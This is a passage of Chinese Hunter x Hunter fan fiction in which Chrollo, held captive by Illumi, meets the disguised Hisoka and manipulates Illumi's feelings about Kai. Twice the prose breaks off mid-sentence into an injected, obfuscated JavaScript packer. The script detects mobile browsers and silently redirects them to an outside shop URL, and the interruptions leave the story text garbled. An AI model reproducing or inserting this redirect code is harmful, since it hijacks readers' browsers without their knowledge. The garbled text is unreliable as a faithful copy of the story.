但如果地址是真的……那就意味着,伊尔迷根本不在乎他西索是否去找库洛洛。这种“不在乎”,背后隐藏的是一种怎样绝对的掌控力?或者说,是一种怎样危险的局面? 西索舔了舔嘴唇,脸上重新浮现出那种发现新玩具的、扭曲的笑容。 看来,观众不得不暂时走下观众席,亲自去触碰一下舞台中央的……核心机关了。 ——————揍敌客 伊尔迷刚结束与西索那场索然无味的通话,冰冷的触感还残留在指尖。他随手将通讯器塞入口袋,像处理一件无关紧要的杂物。 除念师…… 这个词汇曾是他计划中的一个关键节点,如今却像一颗被提前摘除的蛀牙,存在过,但已无关痛痒。 自从库洛洛那句毒液般的话渗入耳膜——“他根本不曾恨过你呢”——他精密运转的大脑就像遭遇了前所未有的病毒入侵。 这个假设像一扇不该打开的门,一旦推开,无数关于过去的碎片就争抢着涌出。他想起凯在实验室熬夜时低垂的睫毛,想起那人被自己指出错误时下意识抿紧的嘴唇,甚至想起某个午后,阳光斜照在凯的笔尖上,投下一小片移动的光斑。 ……烦。 这些原本清晰的任务条目,如今总被一些脑中无意识冒出的片段打断: 凯在实验室熬夜时脊背弯折的弧度 他反驳自己时瞳孔里跳动的冷焰 甚至某天清晨,那人倚在窗边,无意识用指甲在玻璃上划出的、毫无意义的刻痕 ——干扰。全是干扰。 伊尔迷面无表情地穿过长廊,玻璃幕墙外惨白的天光落在他身上,映不出半分温度。 他想起猎人考试那片潮湿的森林。那时的凯,为了护住那个叫程笑的疯子,竟毫不犹豫地撕开所有伪装,用最锋利的姿态与他划清界限。 ……所以,是自己从一开始就误判了“敌对”的性质? 而库洛洛轻描淡写的一句话,竟将这份“背叛”扭曲成了……“可修复的故障”? 更令他烦躁的是,这个新假设推导出的回归可能,竟与那些不断涌现的回忆碎片,在情感熵值上产生了可怖的共振。 他试图用工作压下杂念——监视库洛洛、分析实验数据、部署对程笑的追捕——可那些记忆总在间隙里冒头,像潮湿的苔藓,悄无声息地蔓延。 日常任务在日程表中疯狂堆叠,这没什么。工作量的激增只是算力问题。 但那些不受控的回忆,却像持续占用后台资源的幽灵进程,不断吞噬着他的注意力,消耗着他宝贵的认知资源。 啧。 指间无意识地捻着一枚念钉,冰冷的金属反射出他空洞的瞳孔。 ——要是能给自己也钉上一针,彻底格式化这些无用的“乱码”就好了。 这个念头让他动作一顿。 ——原来有些东西,是念钉也钉不住的。 35.毒发 库洛洛觉得很奇怪。 这次“搬家”来得太过仓促。伊尔迷没有任何解释,只是如同阴影般悄然出现,用他那平直无波的声线吐出三个字:“跟我走。” 话音未落,几名揍敌客的管家便如同早已等候多时,迅速且无声地收走了他本就不多的随身物品。库洛洛只能跟上伊尔迷那道沉默的背影,大脑在绝对的冷静中飞速运转,剖析着这突如其来的变故背后所隐藏的真相。 …地点暴露? 这个念头刚一浮现,便被他自己否决。这个安全屋的存在,知晓者寥寥。即便暴露,威胁的也仅是他库洛洛·鲁西鲁个人,对于根基深厚的揍敌客而言,不过损失一间无足轻重的屋子。他绝不会天真地认为,伊尔迷·揍敌客会出于“保护合作者”这般温情脉脉的理由,亲自前来“护送”。 …………………不对。 库洛洛微微眯起了眼睛,镜片后的目光锐利如刀,落在前方伊尔迷那毫无破绽的后背上。 如果……伊尔迷是将他视为一件“所有物”呢? 那么,保护自己的“财产”不受觊觎和损害,便成了理所当然的事。 尽管这个认知让他心底掠过一丝冰冷的不快,但库洛洛依旧沿着这条逻辑线推演下去。 是怕我死掉?来了连揍敌客都需谨慎对待的仇家? …不。那些真正棘手、能力有趣的家伙,他们的念能力早已被自己收藏在“盗贼的极意”中。幻影旅团从不给敌人留下卷土重来的机会。 那么,可能性便只剩下一个。 他是怕……我恢复“爪牙”。 怕自己与外界重新取得联系,怕自己找回力量,脱离掌控。 那么,是谁带来了这个能让他恢复“爪牙”的消息,并促使伊尔迷如此迅速地做出反应? …是团员吗? …不太可能。这并非出于不信任。且不说他是在完全失联的情况下被伊尔迷带走,哪个思维正常的团员会认为,他们的团长会在这种近乎赤手空拳的状态下,主动踏入揍敌客这龙潭虎穴? 更何况,揍敌客的谨慎到了偏执的地步。他们断绝了一切电子通讯,即便偶有交流,也使用着“资产”或“所有物”之类的代称。即便侠客耗尽心力破解,恐怕也难以理解这些冰冷词汇背后所指的,正是他们苦苦寻找的团长。 想到这里,库洛洛几乎要发出一声孩子气的叹息。 ——难道就没人意识到,我此刻的处境,正是最容易被轻视、最适合取信于敌、从而暗中布局的绝佳时机吗? 真是一点都不懂得抓住机会。 他跟在伊尔迷身后,脸上的微笑如同暗流下的冰川。 ……这个人,必然与伊尔迷有所交集,甚至拥有一定的“信任度”,才能让伊尔迷立刻采信其带来的情报…… 西索。 这个名字浮现在脑海的瞬间,库洛洛的唇角,于伊尔迷无法看见的身后,缓缓勾起了一抹清浅而幽深的微笑。 原来如此。舞台的帷幕,终于要被拉开了吗? ————————— 当西索赶到所谓的地点时,只余一片人去楼空的寂静。空气里连一丝残留的念都稀薄得难以捕捉。 他眉峰一挑,金色的瞳孔里非但没有挫败,反而燃起了更浓烈的兴味。他再次拨通伊尔迷的电话,声线里裹着糖衣般的责备:“~小伊~? 你家的情报网,看来也不过如此嘛~” 这是赤裸裸的挑衅,也是一次精心的试探。 “哦。”伊尔迷的回应依旧平淡得像杯白水,但他难得地补充了一句——与其说是维护他们之间塑料朋友情,不如说是在捍卫揍敌客情报网的绝对权威:“你去的太迟了。” 西索:“?你不是在骗我?” 他故意流露出些许“难以置信”。 伊尔迷的声音透过听筒传来,平稳无波,却带着一种理直气壮的冰冷:“伙伴怎么会欺骗呢。” 这番话说得如此冠冕堂皇,竟让西索一时语塞。他舌尖抵着上颚,无声地笑了。 目光再次扫过那个地址,他瞬间明悟了伊尔迷未尽的台词:我给的地址,只在我说出口的那一瞬间有效。过期不候。 “呵呵呵…哈哈哈哈~~” 西索忍不住低笑起来,肩膀微微颤动。小伊居然和他玩起了文字游戏~? 这背后透露的信息,远比一个空地址来得有趣。库洛洛的处境绝非自由,甚至很可能正被伊尔迷牢牢掌控在手中。而伊尔迷这番近乎宣示主权的行为和冷淡态度,只说明一件事—— 他看上了自己珍藏已久的大苹果~~~ “唉——” 西索夸张地、无可奈何地叹了口气,指尖的扑克牌灵活地翻转着,如同他此刻活跃的思绪。 看来,悠闲的观众席是坐不下去了。为了不让心爱的果实过早烂在别人的收藏柜里,他这位辛勤的园丁,只好亲自下场,为被困的王子殿下……稍稍松一松绑了~~ ————————新安全屋 库洛洛环顾新住所,目光落在那个洒满阳光的小阳台,微微颔首表示满意。 伊尔迷如同幽影般在他身后悄然显现,冷不丁地冒出一句:“…书架也很好。” 库洛洛:“?” 他有些意外地回头,看向那个厚重、高耸、带着无形压迫感的实木书架。他能感觉到伊尔迷的视线正黏着自己的脊背和后脑,只得敷衍地应了一声:“还行。” “是吗?” 伊尔迷歪了歪头,那双空洞的猫眼里似乎掠过一丝极淡的、不属于他的困惑,“不是说……感觉这样的布置很有安全感吗?” 库洛洛蓦地一怔,彻底转过身面对伊尔迷。他非常确定,自己从未说过这种话。 伊尔迷的目光聚焦在库洛洛脸上,似乎也愣了一下,仿佛刚从某个悠长的梦境中惊醒,那一瞬间的眼神甚至透出一种与他极不相符的、近乎茫然的痕迹。 库洛洛:“…” 看着伊尔迷这副罕见的模样,电光火石间,库洛洛已然明悟。他优雅地挑起一边眉毛,唇角勾起一抹玩味的弧度:“…我很像他?” “谁?”伊尔迷·死不认账版上线,表情瞬间恢复无机质的平静。 “凯。”库洛洛清晰地吐出这个名字,如同投下一颗石子,目光紧紧锁住伊尔迷,试图从那深不见底的寒潭中捕捉到一丝波澜。 伊尔迷的视线在他脸上定格片刻,用那平铺直叙的语调给出致命一击:“…他比你好看多了。” 库洛洛:“……情人眼里出西施,这比较不合理。” 他维持着风度的面具,但嘴角微不可查地抽动了一下。 伊尔迷:“…你丑。”( ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663863|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被看穿心思后,用最直接的恶意进行反击,试图挽回局面。) 库洛洛:“…”(好气哦,但还要保持微笑。并决定将“你丑”二字列入揍敌客家族未解之谜清单。) ———————森林 “哎妈呀……”程笑龇牙咧嘴地捏着一根细如发丝的能量线,屏住呼吸,小心翼翼地将它凑近“意识之偶”手臂上那道细微的裂痕。他的动作笨拙得像个第一次做手工课的孩子,嘴里还不停地碎碎念:“下次可别随便冲出来了!这东西也太难伺候了!” 那根线又一次从无形的“针眼”里滑脱。他懊恼地把线头塞进嘴里抿了抿,试图用唾液让它稍微听话一点,再次凝神静气,尝试将那虚无的线穿过同样虚无的孔。 “我知道你是好意…”他一边跟那根不听话的线搏斗,一边对着空气(或者说,对着意识深处的凯)继续唠叨,语气里带着后怕和责备,“但我要是真撞上去,了不起额头上长个包,手上划道口子,躺两天吃顿好的就活蹦乱跳了。你这可是‘永久伤’啊!要是修不好,留下点后遗症可怎么办?” “…计算显示,当时若不干预,你颅骨骨折的概率为87%。”凯的声音平静地响起,试图用数据证明自己行为的合理性。 “而我的损伤,是可修复的。” “修复个屁!”程笑差点把“线”吓掉,气得直接用上了母语方言,“你这跟古董瓷器碎了跟我说能拿胶水粘回去有啥区别?!就算粘好了,那也是个有裂痕的宝贝了!” 他终于成功地将一缕微弱的精神力“缝”进了裂痕,看着那道细微的痕迹以肉眼难以察觉的速度缓缓弥合了一点点,这才长长舒了口气,用袖子擦了擦并不存在的汗。 “听着,老凯,”他的语气软了下来,带着一种不容置疑的认真,“你这‘身子骨’金贵,以后这种硬碰硬的活儿,交给我来。我皮实,耐造!” 意识深处,凯沉默地“看”着程笑那副如临大敌的侧脸。他能感受到程笑精神力的剧烈消耗,以及那份笨拙下的焦急。 一段漫长的沉思后,凯的声音平静地响起,如同在陈述一个宇宙真理: “你要明白自己的重要性。” 程笑的手指一顿。 “意识之偶没了,就没了。” 凯的声音里没有任何波澜,却比任何呐喊都更具分量,“如果你没了……我们就什么都没了。” 针线无声地停留在半空。 程笑当然明白凯的意思。这具人偶躯壳毁了,凯最差不过是退回他的意识之海。可如果他程笑死了,凯就将再次坠入那片无边无际、无知无觉的混沌,继续那场永恒的、孤独的流浪。 那种比死亡更可怕的虚无,他们都心知肚明。 “…呸呸呸,晦气!”程笑猛地甩了甩头,像是要把这个可怕的念头甩出去,声音却不由自主地低了下来,带着一种固执的柔软,“……那我们俩,就都别没了。” 他低下头,更加专注地缝合起来,仿佛指尖流淌的不是能量,而是将两个漂泊灵魂紧紧系在一起的、无形的绳索。 凯:………… 一段更长的沉默后,意识海里传来一声几不可闻的叹息。 “明白了。” 程笑这才满意地低下头,继续跟那根该死的“线”较劲,嘴里哼起了不成调的歌。 36.三个变态一台戏 推断出西索正手持“钥匙”寻找自己后,库洛洛便深知转机已至。纵使监管已升级至铜墙铁壁,他也必须让信号穿透这重重壁垒。 他冷静剖析着自身困境: 外出权限:全面锁死。 信息流出:严格禁止。 资源外送:无从下手。 看似铁板一块。但他是库洛洛·鲁西鲁,他擅长的,正是将绝境本身化为舞台。 他很快找到了那精妙的破局点:让资源的“流入”本身,成为最醒目的灯塔。 库洛洛彻底沉静下来。他不再试图对抗牢笼,而是开始优雅地驾驭它的规则。他向伊尔迷提交了一份极其专业、无可挑剔的《文献需求清单》,罗列着大量关于古代文明、念能力起源与稀有民俗的冷门典籍。 “完善认知模型,提升对实验体精神崩溃临界点的预测精度。”——他给出的理由严谨而充分,完全服务于“预处理”工作的效率提升。 伊尔迷评估后,认可了其价值。 于是,揍敌客的管家们开始更频繁地出入于各大拍卖行与古籍书店,目标明确地搜寻那些晦涩、昂贵、常人绝不会问津的孤本。 库洛洛什么多余的事也没做。他只是安静地阅读,适时地提出新的、合理的要求,维持着这条信息渠道的活跃与独特。他无需去触碰那些书籍,他只需让“揍敌客在大量搜集特定冷门文献”这一行为本身,成为一个在特定圈子里逐渐引人注目的现象。 他在安全屋内,指尖拂过新送来的古籍那烫金的标题,气定神闲。 他不需要知道西索何时会注意到。他只需确保,当西索的目光扫过这片区域时,通往他的路径已被揍敌客亲自点亮的、独特的“灯火”所照亮。 --- 然而,外界的西索,却并未按照库洛洛精心编写的剧本来演。 他基于最纯粹、最直接的逻辑采取了行动: 1. 找到库洛洛的仇家(这并不难)。 2. 精心伪装,并用一番酣畅淋漓的、对库洛洛的痛骂迅速取得了信任。 3. 顺理成章地,作为一份“充满恨意、质量上乘的预处理实验体”,被揍敌客的管家“捕获”并送了进来。 当囚笼的大门在身后关上,西索在阴影中舔了舔嘴角,无声地笑了。 计划通~? 而安全屋内,刚刚感受到“灯火”已如期点燃的库洛洛,在感知到那股熟悉又危险的念压被作为“实验材料”送入隔壁时,罕见地陷入了短暂的沉默。 ……这感觉,如同将精心雕琢的邀请函塞进贝壳抛入大海,结果收信人直接开着潜水艇从你家浴缸里破水而出。 他的媚眼,终究是抛给了瞎子。 库洛洛推开预处理室的房门,目光落在中央那个被束缚着、还做了些粗糙伪装的身影上时,脚步几不可查地顿了一瞬。 ……现在关门转身离开还来得及吗? 但在身后管家无声却不容置疑的注视下,他仅仅是停顿了半秒,便神色如常地步入房间,反手关上了门。 他并非完全理解伊尔迷为何将预处理的权限全权下放,甚至连实验体的押送都严格蒙眼,流程谨慎到近乎诡异。他曾推测这与那“复活”能力的可怕反噬有关。因此,在之前的每一次“预处理”中,他都极其谨慎地动用能力,确保在实验体精神崩溃的同时,最大限度地抹去他们脑海中关于“库洛洛·鲁西鲁”的具体印象。 不知是运气,还是他的谨慎确实奏效,那想象中的恐怖反噬并未降临。他未曾料到,这一出于自保的举措,竟会在今天,为他和西索的这场“非正式会晤”提供了绝佳的便利。 (当然,真相是伊尔迷完美践行了揍敌客的风险管控原则:让库洛洛承担所有实验风险,确保许愿失败时的“强求”绝不会牵连到揍敌客分毫。) 库洛洛走上前,伸手掀开了蒙在西索眼前的布条。 四目相对。 刹那间,一种极其复杂的情绪在无声的空气里交织、弥漫。那里面有震惊,有玩味,有“你怎么混成这副德行”的无声质问,更有“彼此彼此”的微妙了然。 有一丝丝尴尬呢。 最终还是西索率先打破了沉默,他扭曲的审美甚至让他觉得库洛洛这身被迫的“朴素”也别有风味。他用气音发出一个愉悦的颤音: “嗯哼~?亲爱的导演~”他金色的瞳孔在昏暗的光线下闪烁着,“你新选的这个剧场……品味很特别嘛~?” 库洛洛:“…………………这不是我给你的剧场。” 他颇为头疼地揉了揉额角,感觉自己的太阳穴正在突突直跳。在他那套精密、优雅、充满间接操纵美学的计划里,剧本本该是这样的:西索察觉到揍敌客采购孤本的异常动向,顺藤摸瓜,锁定他的位置,最后如同一位暗夜中的绅士,助他优雅地脱离牢笼。 谁能料到——! 谁能料到西索直接一个猛子扎进泥潭,把自己当成“实验材料”给塞进来了???! 现在好了,计划全盘打乱。如果西索不能凭一己之力,带着他这个毫无念能力的“拖油瓶”,从这揍敌客层层布防的监视下杀出去……那他库洛洛非但无法脱身,还得额外耗费宝贵的脑细胞,想办法把西索这个巨大的麻烦再 “送出去” ! 更可怕的是,预处理后的实验体向来由伊尔迷亲自押送。一旦让伊尔迷发现,他珍贵的“实验材料”里混进了一只西索…… 库洛洛几乎能预见到后果:瞬间搬家,监控等级提升至地狱模式,未来所有实验体的筛选标准将严苛到令人发指。到那时,西索再想找到他,恐怕比登天还难。 ………… 库洛洛看着眼前这个即便被绑着也依旧兴致勃勃、仿佛在参加派对的家伙,内心涌起一股前所未有的、强烈的冲动—— 他真想不顾形象地,给西索翻一个惊天动地 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因为他再清楚不过,这种程度的束缚对西索而言形同虚设。如果伊尔迷没来,凭借西索的战力和自己的谋划,或许还有一丝硬闯出去的可能。 但现在,伊尔迷本人就站在门外。 这条最简单粗暴的出路,已经被彻底堵死,焊上了钢铁。他现在唯一能做的,就是在伊尔迷推门进来发现这个“惊喜”之前,绞尽脑汁,想办法把西索这尊唯恐天下不乱的“大佛”,原封不动、悄无声息地塞回去! 时间仿佛被压缩成粘稠的实体。他的身体先于思维做出了反应——如同演练过千百次般流畅,他抄起手边用于遮盖杂物的黑色头套,以一个精准的抛投将其罩住了西索那颗银发张扬的脑袋,杜绝了任何被一眼认出的可能。 紧接着,他单手猛地扳动椅背,将束缚着西索的椅子利落地转向墙角。整个过程在呼吸之间完成,当伊尔迷推门而入时,从门口视角望去,只能看见一张椅子和一个背对着门口、套着黑布套的人形轮廓。 “你在这儿啊。”伊尔迷的身影切割了门口的光线,他漆黑的猫眼落在库洛洛身上,微微点了点头,仿佛只是确认了一个坐标位置。 “当然。”库洛洛侧移半步,不着痕迹地将身后的“实验体”挡得更严实,脸上维持着无懈可击的平静,“又不可能跑了。” “…”伊尔迷喉咙里发出一声极轻的、近乎叹息的气音,那双空洞的眼睛似乎穿透了库洛洛,看到了另一个不断试图挣脱他掌控的影子。“怎么不可能。你和他一样,都想着逃跑。” 这句冰冷的话语,如同投入不同介质的石子,在两人心中激起了迥异的涟漪。 库洛洛:……好了,很明显这个人又在睹我思凯。自己需要尽快结束这场危险的对话。 西索(在被黑暗笼罩的视野里):…唔~!(??▽`?) 突然就有一种…偷情的刺激呢~~~ 37.篡改 库洛洛的脊背能清晰地感受到,身后之人因极力压抑狂笑而引发的、一阵阵细微的震颤。 库洛洛:“……………” …或许真该感谢这位变态此刻选择了无声的狂喜,而非肆无忌惮的放声大笑。 局势危如累卵。他面不改色,唯有垂在身侧、处于伊尔迷视觉死角的那只手,悄无声息地探到身后,精准地掐住了西索侧腰的一小块软肉,带着警告的意味微微发力——仿佛在按下一个躁动不安的核弹发射键,祈求它千万别在此刻引爆。 伊尔迷空洞的目光立刻锁定了那微微颤抖的“实验体”。 “怎么了?”他歪了歪头,冰冷的语调里透出一丝基于观察本能的探究,但他恪守着安全距离,并未上前。 库洛洛的语气平淡得像在陈述天气,将致命的危机轻描淡写地归结为无能的怯懦:“这个着实胆小,害怕得直颤。” 西索:“………………………” 纯纯污蔑!但为了后续更精彩的好戏……这点小小的“牺牲”与“误解”,也不是不能忍一下~~ 他在头套下舔了舔牙齿,将几乎要冲破喉咙的、扭曲快意的笑声,硬生生咽了回去。 伊尔迷瞥了眼那仍在“害怕得直颤”的实验体,平淡地评价:“…那这个质量也太差了。” 仿佛在评估一件次品,他随即失去了兴趣,移开了视线。 库洛洛心下稍安。 “对了…” 伊尔迷话锋一转,如同闲聊般提起,“西索很执着和你打吗?” 库洛洛:“………” ——你真是哪壶不开提哪壶!!! 伊尔迷明显误解了这沉默的含义,自顾自地分析下去:“…你也无法确定吗?” 他象征性地揉了揉头发,流露出些许程序遇到未知变量时的困扰,“…那可麻烦了……本来想着要是执念不大的话,叫几个管家让他好好打一架就算了…” 库洛洛:“……………………” ——活爹!求你别再说了!!! 他几乎能感觉到背后那尊杀神的气息已经开始不稳。 伊尔迷却像是陷入了自己的逻辑回路,继续陈述:“…倒是…也没关系,反正我给他留了好几个假地址,他一时半会儿也找不过来。” ——完了! 库洛洛几乎能“听”见背后西索理智绷断的声响。他当机立断,重重一掌拍在西索肩上,用物理方式强行压制可能发生的暴起。 伊尔迷歪了歪头,流露出些许不解:? 库洛洛面不改色,瞬间将话题拉回到“专业领域”,语气沉稳得像在发表学术报告:“…这个实验体不一样,他有爱人作为精神的锚点,所以预处理起来麻烦了些。” 伊尔迷:??(我刚刚有问这个吗?) 就在伊尔迷的困惑即将转化为更深层次的探究时,库洛洛抬眼,目光直直地看向他,轻声补充了一句,如同投下一枚精准的炸弹: “…就像你一样。” 一瞬间,空气凝固了。 而被头套笼罩的西索,几乎是心领神会地接收到了库洛洛无声的信号:我请你看伊尔迷的八卦,代价是你现在必须安分一点。 ……成交! 巨大的、扭曲的吃瓜乐趣,瞬间压过了被欺骗的怒火。西索硬生生按下了此刻暴起质问伊尔迷的绝佳机会,强行将自己按回椅子上,兴奋地期待着下一幕的展开。 伊尔迷只觉得今晚的库洛洛格外莫名其妙,他歪着头,发出一个纯粹的疑问音:“…什么?” “爱人。”库洛洛加重了语气重复,他像是忍耐了许久,终于在此刻忍无可忍,语气中带上了一丝恰到好处的、被误认的疲惫与讥讽,“你总是把我看做凯,我可不想陪你演什么替身那种古早烂俗小说的戏码。” 伊尔迷:“?爱人?凯?…你的脑子是被实验体影响,出现逻辑错误了吗?” 他开始怀疑是不是“预处理”工作对库洛洛的认知模块产生了不可逆的损伤。 库洛洛见伊尔迷完全不上套,立刻调整策略,再接再厉。他的声音沉了下来,带着一种仿佛勘破真相的怜悯与引导:“…难道你还不明白自己的感情吗?” 他微微前倾,如同一位面对顽固病人的心理医生,“你还不明白你对他的感情吗?” 伊尔迷:“……………?” 他此刻只觉得荒谬。如果幻影旅团的团长脑子里塞满了这种名为“爱情”的低效冗余数据,那他确实需要重新评估将其纳入资产列表的可行性。他用冰冷的、评估性的语气反问:“…证据。” “占有欲啊。你对他的占有欲出奇的高,你感受不到吗?” 库洛洛打蛇随棍上,继续用模糊的情感概念混淆着绝对理性的杀手,企图用这场足够有趣的戏码,来交换身后西索的暂时安分。 伊尔迷沉默了更长的时间,再开口时,那双空洞的猫眼里清晰地传递出“你在说什么垃圾信息”的信号:“………我怎么可能占有欲高。” 这在他听来,如同在指控一个精密的数学模型“过于感性”。 库洛洛:“……” 我承认我之前的所有话都是在故意引导和混淆视听,但唯独这一点——你觉得你占有欲不高,这个认知,是你真的病得不轻。 库洛洛凝视着伊尔迷那双空洞的、仿佛永远不会产生自我怀疑的眼睛,心底无声地冷笑。好吧,既然这个控制狂将自己的偏执视为绝对理性,那他便将这份“占有与掌控”精心包装,用对方能够理解的词汇,双手奉上。 “那么,换一个角度。”库洛洛的声音放缓,带着一种引 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683930|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 导式的温和,如同在启发一个懵懂的学生,“你回想一下,你规划、引导、锻炼你的弟弟们时,那份心情……与你为凯所做的那些安排,内在的驱动力,是否似曾相识?” 伊尔迷:“………” 他确实从未认为自己是个好为人师者,但事实无可辩驳——他的脑海中,早已为凯罗列好了一系列详尽的发展路径与资源整合方案。这感觉……确实与培养弟弟们有某种功能上的相似性。 捕捉到那微乎其微的动摇,库洛洛知道,裂缝已经产生。他再接再厉,将语言的楔子精准地敲入裂缝深处,语调轻柔却致命:“……你对弟弟们如此,是因为他们是你的‘家人’,是血脉相连的‘所有物’。这份责任源于血缘,天经地义。” 他微微前倾,目光锁死伊尔迷,抛出了那个精心准备的逻辑陷阱。 “但凯对你而言,本应是个‘外人’。” “那么,你对他投注的这份,与对家人如出一辙的‘规划’与‘引导’……其本质,不就是潜意识里,早已将他视作了你的 ‘家人’ 了吗?” 伊尔迷:“…………” 逻辑链……无法反驳。如果A(对家人)的行为模式等于B(对凯),那么驱动B的动机,在本质上是否真的与A同源?他的内部处理系统开始遭遇冗余数据的冲击。 库洛洛没有给他运算的时间。他的话语如同最后滴落的毒药,甜美而致命,完成了认知的篡改:“……甚至,回想一下,此前他作为你的‘妻子’存在于你身边时,你可曾有过一丝一毫的……不耐?” 伊尔迷:“…” 没有。不仅没有,那甚至是一段……高效且秩序井然的时期。他开始……有一点怀疑了。 库洛洛步步紧逼,将他推向情绪记忆的悬崖:“程笑带走凯的时候——”他的声音陡然变得锐利,“你是不是感到愤怒?是否心急如焚?是否不惜一切代价,也要立刻将他夺回?” 伊尔迷:“………” 那些被定义为“资产回收受阻”的焦躁感,在此刻被库洛洛重新贴上了标签。 “那就是‘害怕’啊,伊尔迷。”库洛洛的语调放得极轻,仿佛终于看到猎物吞下了精心调配的毒饵,脸上浮现出一种洞悉一切的、近乎妖异的柔和,“你只是在‘害怕’……害怕被抛弃啊。” 伊尔迷:“………” 他没有回应。 任何言语在此刻都显得苍白且危险。他第一次,在那张万年无波的面具上,显露出一丝近乎“宕机”的凝滞。他不再看库洛洛,也不再理会那个角落里的“实验体”,只是沉默地转身,如同一个程序出错的机器人,径直离开了房间。 门,在他身后轻轻合上。 认知篡改,完成。 38.离开 库洛洛站在原地,静静地听着伊尔迷的脚步声彻底消失在走廊尽头。 几乎是在门锁合上的同一瞬间,身后那具被束缚的“实验体”爆发出了一阵无法抑制的、剧烈的颤抖——不再是之前为了伪装恐惧的微颤,而是源于极度兴奋的、连骨髓都在战栗的痉挛。 “唔…唔唔唔——!” 被胶带封住的嘴里发出模糊而扭曲的闷响,那是被强行压抑、最终却还是冲破防线的、无声的狂笑。 库洛洛缓缓转过身。 他甚至不需要去动手,西索身体猛地一挣,那些特制的束缚带如同纸糊一般,在令人牙酸的崩裂声中寸寸断裂。他一把扯下头上的黑布套和嘴上的胶带,大口喘息着,那双金色的瞳孔缩成针尖,里面燃烧着近乎疯狂的愉悦火焰。 “呵…呵呵……哈哈哈哈——!” 他终于畅快地笑了出来,笑声在空旷的预处理室里回荡,充满了扭曲的快感。他笑得前仰后合,眼泪几乎都要沁出眼角。 “‘害怕被抛弃’……!”西索用一种夸张的、戏剧般的语调重复着库洛洛最后的判词,他抹了抹并不存在的眼泪,看向库洛洛的眼神充满了赤裸裸的惊叹与崇拜,“库洛洛……你真是个天才!一个残忍的、卑鄙的、令我着迷到发抖的天才!” 他一步步走向库洛洛,步伐轻盈得像一头找到猎物的豹子,周身散发出的危险而甜腻的念压几乎要充斥整个空间。 “我听到了什么?揍敌客家长子的内心……原来只是一个害怕被‘妻子’抛弃的、可怜兮兮的小男孩吗?” 他舔了舔嘴唇,指尖兴奋地颤抖着,“这份情报……简直是无价之宝!而整个过程……哦~!那精妙的诱导,那步步为营的心理陷阱……!看着他那样一步步走进你编织的网里,比亲手扭断他的脖子……还要让人兴奋一万倍啊!” 他在库洛洛面前站定,微微俯身,几乎要将鼻尖凑到库洛洛脸上,声音因极致的兴奋而低沉沙哑: “在敌人的牢笼里,当着敌人的面,把他的大脑和自尊一起按在地上摩擦…… 还有比这更棒的余兴节目吗?” “……我简直,要为你高潮了~” 此刻的西索,就像一只被喂食了最顶级渴望的怪物,满足、亢奋,并且……对眼前的“投喂者”产生了更加强烈、更加危险的占有欲和破坏欲。 库洛洛平静地看着他,对眼前这几乎要实质化的狂热视若无睹,只是淡淡地提醒道: “如果你不想伊尔迷‘害怕’到把我们都永久封存在这里,最好控制一下你的‘兴奋’。” 但毫无疑问,对于西索而言,这场冒险的价值已经远超预期。他不仅找到了他的宝石,还亲眼目睹了宝石如何用最璀璨的光芒,刺穿了另一个强者的心脏。 这简直是他有史以来,最完美的一天。 库洛洛当然清楚,自己那套精巧的语言陷阱或许能暂时干扰伊尔迷基于逻辑的处理器,但绝无可能真正骗过那个深谙人心的变化系疯子。甚至对伊尔迷而言,这也可能只是一次需要时间清理的“系统冗余”,他能争取到的,仅仅是这宝贵的、无人监视的片刻。 “…少废话。”库洛洛打断西索仍在弥漫的兴奋氛围,语气重新变得冷硬而务实,将飘忽的思绪拉回残酷的现实,“…所以,你别告诉我,你什么后手都没准备,就凭着一腔热血直接莽进来了。” 西索:“…………” 他脸上的狂喜稍稍收敛,金色的瞳孔眨了眨,随即像是真的在认真思考这个问题。然后,他伸手在自己那身伪装的衣服口袋里掏了掏,最终摸出了一副簇新的、尚未拆封的扑克牌,献宝似的在库洛洛眼前晃了晃,语气轻快: “嗯哼~?我多带了一套扑克哦~~” 库洛洛:“…………” 一阵漫长的、死寂的沉默。 库洛洛缓缓抬起手,用力揉按着自己的额角,仿佛想将某种即将爆发的情绪硬生生按回去。他闭上眼,深吸一口气,再睁开时,眼底只剩下一种近乎悲壮的平静。他从牙缝里挤出两个字,带着一种全面投降的意味: “…算了。” 他选择了认命。与西索计较计划性,本身就是他计划中最大的失误。 但绝望中仍要寻找生机。他话锋一转,语气恢复了属于蜘蛛头脑的精准与命令感: “…既然如此,废物利用吧。给我去弄这些东西过来。”他报出了一串清晰而具体的物品清单——或许是某些特定的金属零件、化学药剂,甚至是几本看似无关的书籍。库洛洛比谁都明白,让西索带着念力全无的自己从揍敌客大本营杀出去或许胜算渺茫,但凭借西索的身手和诡谲,神不知鬼不觉地潜入某个仓库或房间,取些东西再溜回来,简直如同呼吸一般简单。 这并非最好的计划,但这是西索出现后,唯一可行的计划。 ———————揍敌客 伊尔迷行走在空旷的走廊里,脚步声在冰冷的墙壁间回响,却无法驱散库洛洛的话语在他核心逻辑中引发的噪音。 爱? 那个无效的、只会拉低智商和效率的、酸腐不堪的、老套而冗余的玩意儿……怎么可能会发生在自己身上?这个假设本身,就是对他人格底层代码的侮辱。 ……害怕被抛弃? 更是无稽之谈。在他的世界里,从来只有他评估、利用、继而抛弃无用之物的选项。被抛弃?那是弱者才需要面对的处境。 他的脚步几不可查地一顿。 ……可是,凯。 凯确实是……以灵魂的状态,离开了,没有回来。 …………… 